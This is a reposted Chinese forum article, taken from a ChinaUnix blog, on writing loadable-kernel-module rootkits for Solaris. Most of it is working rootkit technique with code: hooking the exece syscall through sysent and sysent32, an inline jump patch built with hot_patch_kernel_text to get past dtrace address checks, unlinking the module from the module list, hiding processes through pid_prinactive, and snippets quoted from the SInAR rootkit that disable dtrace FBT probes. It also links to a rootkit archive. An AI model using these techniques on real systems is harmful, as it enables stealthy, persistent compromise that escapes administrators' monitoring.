- 論壇徽章:
- 0
|
在linux中,通過LKM注射來截取系統(tǒng)調(diào)用已經(jīng)是rootkit很常見的一種方法。那么,同為Unix的Solaris是否也可以通過類似的方法來hack呢?答案是肯定的,而且編程方法甚至是非常相似的。所不同的地方是現(xiàn)在的Solaris一般都是64bit的內(nèi)核,而且,Solaris系統(tǒng)內(nèi)置了很多debug的工具,比如dtrace,可以很容易的發(fā)現(xiàn)系統(tǒng)是否被hack了。本文就Solaris的這些檢查方法來做一個簡單的介紹,并且參照一些文獻(xiàn)和親身實驗,給出具體的應(yīng)對方法。
1. LKM 工具
for Solaris and Linux
對于Linux的LKM,有很多大家都比較清楚了,比如Knark或者Adore
,而且他們都提供了隱藏自身的功能(比如隱藏文件,
隱 藏 進(jìn) 程,
重定向可執(zhí)行文件,
隱藏網(wǎng)絡(luò)連接)。它們采用的技術(shù)主要是利用截獲open,
gendents64,write等系統(tǒng)調(diào)用來為自己所用。至于隱藏就是“如果發(fā)現(xiàn)輸出的信息含有自己要隱藏的信息,就把這部分的buffer抹去”。
至于在Solaris里面,同樣的也是有很多的系統(tǒng)調(diào)用,而且Solaris將系統(tǒng)調(diào)用表export出來。這樣,想要截獲Solaris的系統(tǒng)調(diào)用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR,
slkm等等。他們是通過截獲系統(tǒng)調(diào)用來隱藏自身。
2. Hack方法
截獲系統(tǒng)調(diào)用的方法有很多,我們可以自己寫一個dummy系統(tǒng)調(diào)用函數(shù),再將這個函數(shù)的地址在export的系統(tǒng)調(diào)用表里替換一下;同樣也可以截取系統(tǒng)調(diào)用的地址,寫一些opcode將其棧地址寫成我們的dummy函數(shù)。在看具體看例子之前,先看一個系統(tǒng)調(diào)用的結(jié)構(gòu)。
struct sysent {
char
sy_narg; /* total number of arguments */
#ifdef _LP64
unsigned short
sy_flags; /* various flags as defined below */
#else
unsigned char
sy_flags; /* various flags as defined below */
#endif
int
(*sy_call)(); /* argp, rvalp-style handler */
krwlock_t
*sy_lock; /* lock for loadable system calls */
int64_t
(*sy_callc)(); /* C-style call hander or wrapper */
};
這個結(jié)構(gòu)就是系統(tǒng)調(diào)用表的結(jié)構(gòu),其中sy_callc就是系統(tǒng)設(shè)置的系統(tǒng)調(diào)用函數(shù)地址,而我們要做的,就是讓他執(zhí)行我們自己的函數(shù)。
2.1 替換系統(tǒng)調(diào)用
我們先看一個最簡單的例子。
int new_exece(const char
*path, int oflag, mode_t mode)
{
cmn_err(CE_NOTE,
"anm, new exece, path is %s", path);
return
old_exece(path, oflag, mode);
}
int _init(void)
{
if ((i =
mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,
"Could not install module\n");
old_exece = (void *)
sysent[SYS_exece].sy_callc;
sysent[SYS_exece].sy_callc
= (void *) new_exece;
return i;
}
int _fini(void)
{
int i;
if ((i =
mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Could
not remove module");
sysent[SYS_exece].sy_callc
= (void *) old_exece;
return i;
}
在上面的例子中,就是一個很簡單但是全面的截取系統(tǒng)調(diào)用exece的方法,就是在_init函數(shù)中將sysent中的SYS_exece數(shù)組項sy_callc函數(shù)的入口地址設(shè)置成為我們的new_exece中,其中的sysent就是Solaris的系統(tǒng)調(diào)用表,和Linux不同,Linux從2.4開始,系統(tǒng)調(diào)用表已經(jīng)不公開export出來了,雖然可以通過內(nèi)存檢索得出系統(tǒng)調(diào)用表的位置,但是對于LKM來說稍微加了一點(diǎn)門坎。而Solaris可能是為了向前兼容,所以這部分的代碼一直都沒怎么變。
在new_exece里面,我們沒有做任何事,只是輸出了一行,提示這已經(jīng)是我們的exece了。還有注意一定要調(diào)用原來的old_exece函數(shù)來完成相應(yīng)的功能。雖然我們只加了一行程序,但考慮到同時可能有非常非常多的exece請求,這有可能會對系統(tǒng)性能造成非常大的影響。在Linux中的LKM,處于隱藏的需要,可能要在read或者write系統(tǒng)調(diào)用里面寫一些內(nèi)存操作程序,這其實對系統(tǒng)性能影響是很顯著的。
回到我們的話題,在模塊退出的時候,一定要用“sysent[SYS_exece].sy_callc
= (void *) old_exece;”把原來的exece調(diào)用函數(shù)指回到系統(tǒng)調(diào)用表中。否則的話,后果很嚴(yán)重!嘿嘿。
2.2 截取系統(tǒng)調(diào)用
上面是最簡單直接的替換系統(tǒng)調(diào)用表里的函數(shù),但是這樣做是有問題的。比如dtrace可以直接得到系統(tǒng)調(diào)用函數(shù)的地址,如果用我們的函數(shù)來進(jìn)行替換,那么很細(xì)心的系統(tǒng)管理員還是可以注意到系統(tǒng)已經(jīng)被hack了。比如如下的dtrace程序。
#cat exec.d
#!/usr/sbin/dtrace -s
dtrace:::BEGIN
{
ptr = (long *)&`exece;
printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc);
printf("Exec at:
0x%p\n", ptr);
exit(0);
}
# ./exec.d 11
dtrace: script './exec.d'
matched 1 probe
CPU ID
FUNCTION:NAME
1 1
:BEGIN
sysent[$1]:0xfffffffffb9bca28
Exec at:
0xfffffffffb9bca58
如果我們用上面的系統(tǒng)調(diào)用替換,那么Exec程序捕獲的地址就不會是顯示的這個地址。
我們可以用給系統(tǒng)打patch的方法改變syscall的內(nèi)容,如下面的程序。
short x = 0;
char jmpl_x86[7] =
"\xb8\x00\x00\x00\x00\xff\xe0";
*(long *)&jmpl_x86[1]
= (long)new_exece;
for(x=0;x
hot_patch_kernel_text(kern_call+
x,jmpl_x86[x],1);
在hot_patch_kernel_text函數(shù)里面,就是把jmpl_x86所指的內(nèi)容放到系統(tǒng)調(diào)用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在匯編指令中就是”mov
0 %eax;jmp
%ebx”,然后在下一條指令里面把我們的new_exece的地址給”mov”指令。再通過hot_patch_kernel_text函數(shù)來把這個跳轉(zhuǎn)指令寫進(jìn)去。這樣,當(dāng)執(zhí)行exec
系統(tǒng)調(diào)用的時候首先就是進(jìn)行跳轉(zhuǎn)到new_exece函數(shù)里面去,這樣通過上面的dtrace腳本看上去,exec系統(tǒng)調(diào)用的地址不會變,但是其實已經(jīng)系統(tǒng)調(diào)用已經(jīng)被hack了。
3. 目前Rootkit存在的問題
上面介紹的方法其實在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法試圖去截獲系統(tǒng)調(diào)用,在相當(dāng)一部分的情況下都不會成功,這是因為目前Solaris基本都使用64bit的kernel,除非在一些非常老的機(jī)器上。
在solaris系統(tǒng)上,應(yīng)用程序向系統(tǒng)內(nèi)核請求調(diào)用的“門”是syscall_entry,并且process向系統(tǒng)內(nèi)核請求服務(wù)的process
model是proc_t->ulwp_t->klwp_t->kthread_t,其中proc_t到ulwp_t在應(yīng)用層,由libc來進(jìn)行轉(zhuǎn)換;kernel部分由lwp轉(zhuǎn)換成為thread,進(jìn)行執(zhí)行。有關(guān)詳細(xì)內(nèi)容請參見附錄1。
通過分析sycall_entry這個函數(shù),我們會注意到如下的顯示
struct sysent *
syscall_entry(kthread_t
*t, long *argp)
{
klwp_t *lwp = ttolwp(t);
struct regs *rp =
lwptoregs(lwp);
unsigned int code;
struct sysent *callp;
struct sysent *se =
LWP_GETSYSENT(lwp);
int error = 0;
uint_t nargs;
…...
這下知道了,系統(tǒng)調(diào)用表是通過LWP_GETSYSENT(lwp)宏來得到的,
#ifdef
_SYSCALL32_IMPL
#define LWP_GETSYSENT(lwp) \
(lwp_getdatamodel(lwp)
== DATAMODEL_NATIVE ? sysent : sysent32)
#else
#define LWP_GETSYSENT(lwp) (sysent)
#endif
原來在Solaris里面,有兩個系統(tǒng)調(diào)用表,可能是為了和之前的系統(tǒng)兼容,Solaris保留了一個sysent32的系統(tǒng)調(diào)用表。查看sysent32的定義:
/*
* sysent table for ILP32
processes running on
* a LP64 kernel.
*/
struct sysent
sysent32[NSYSCALL] =
{
…
原來sysent32是特地為64位的內(nèi)核上運(yùn)行32位的程序預(yù)備的,在查看我的bash文件,
#
file /bin/bash
/bin/bash: ELF
32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...
當(dāng)在64位的系統(tǒng)上運(yùn)行32位的shell時,系統(tǒng)采用了不同的調(diào)用表。我們可以將例子1里面的程序的sysent系統(tǒng)調(diào)用表改成sysent32,然后用它來截獲系統(tǒng)調(diào)用,果然一切OK!
那么在64bit的機(jī)器上,用上面機(jī)器碼的例子來截獲系統(tǒng)調(diào)用也是不能成功的,原因就是64位是8個字節(jié),所以相應(yīng)的地址要進(jìn)行改變;而且jmp指令的機(jī)器碼也有不同,那么具體就要參考intel或者amd的硬件手冊了。
4. 如何隱藏自身
Solaris里面的隱藏和Linux里面的隱藏方法基本一樣,比如文件隱藏,網(wǎng)絡(luò)隱藏等等,下面以模塊隱藏和進(jìn)程隱藏為例,拋磚引玉。
4.1 如何隱藏模塊
module的隱藏還是比較容易的,就是把特定的module從module_list鏈表里面摘除,就可以了。
# mdb -k
> modules::print
{
mod_next = 0x1850aa0
mod_prev =
0x300021aaea8
mod_id = 0
mod_mp = 0x184cef0
mod_inprogress_thread
= 0
mod_modinfo = 0
mod_linkage = 0
mod_filename =
0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix"
mod_modname =
0x184ced7 "unix"
mod_busy = '\0'
mod_want = '\0'
mod_prim = '\001'
mod_ref = 0
mod_loaded = '\001'
mod_installed = '\001'
mod_loadflags = '\001'
mod_delay_unload =
'\0'
mod_requisites = 0
mod_dependents = 0
mod_loadcnt = 0x1
mod_nenabled = 0
mod_text = scb
[...]
}
>
利用一個簡單的摘鏈表的步驟即可:
prev->next
= next;
next->prev
= prev;
4.2 進(jìn)程隱藏
要想不被ps等命令發(fā)現(xiàn),就要保證在proc結(jié)構(gòu)中我們想要隱藏的進(jìn)程消失。具體方法就是將proc結(jié)構(gòu)中的p_pidp->pid_prinactive設(shè)置為1即可。
if(curproc->p_parent)
{
if(curproc->p_parent->p_pidp->pid_prinactive)
{
curproc->p_pidp->pid_prinactive
= 1;
}
}
4.3
如何對付dtrace
dtrace提供了很多的FBT探點(diǎn),對于系統(tǒng)調(diào)用,通過這些探點(diǎn)可以看到正在執(zhí)行的系統(tǒng)調(diào)用的堆棧,和系統(tǒng)調(diào)用函數(shù)的名字(有關(guān)dtrace詳情,請參見附錄2)。在SInar中,作者并沒有給出很好的繞過dtrace的方法,他僅僅是簡單的把dtrace
對于插入的module
disable了(因為dtrace只檢測active的module和active的FBT
提供者)。下面的例子從SInar中直接引用過來:
dt_cond =
kobj_getsymvalue("dtrace_condense",0); //取得dtrace
cond符號
fbtptr =
modgetsymvalue("fbt_id", 0); //取得fbt
provider的符號
modcookie =
dtrace_interrupt_disable(); //取得disable
dtrace的handler
//模塊消失!
modme->mod_nenabled =
0;
modme->mod_loaded = 0;
modme->mod_installed =
0;
modme->mod_loadcnt = 0;
modme->mod_gencount =
0;
//hack dtrace
dt_cond(*fbtptr);
dtrace_sync(); // just for
our own good
dtrace_interrupt_enable(modcookie);
附錄
Solaris Internal:
Solaris 10 and OpenSolaris Kernel Architecture 2nd
Edition.
Dtrace docs:
http://www.sun.com/bigadmin/content/dtrace/
Sinar:
http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg
本文來自ChinaUnix博客,如果查看原文請點(diǎn):http://blog.chinaunix.net/u/412/showart_1870688.html |
|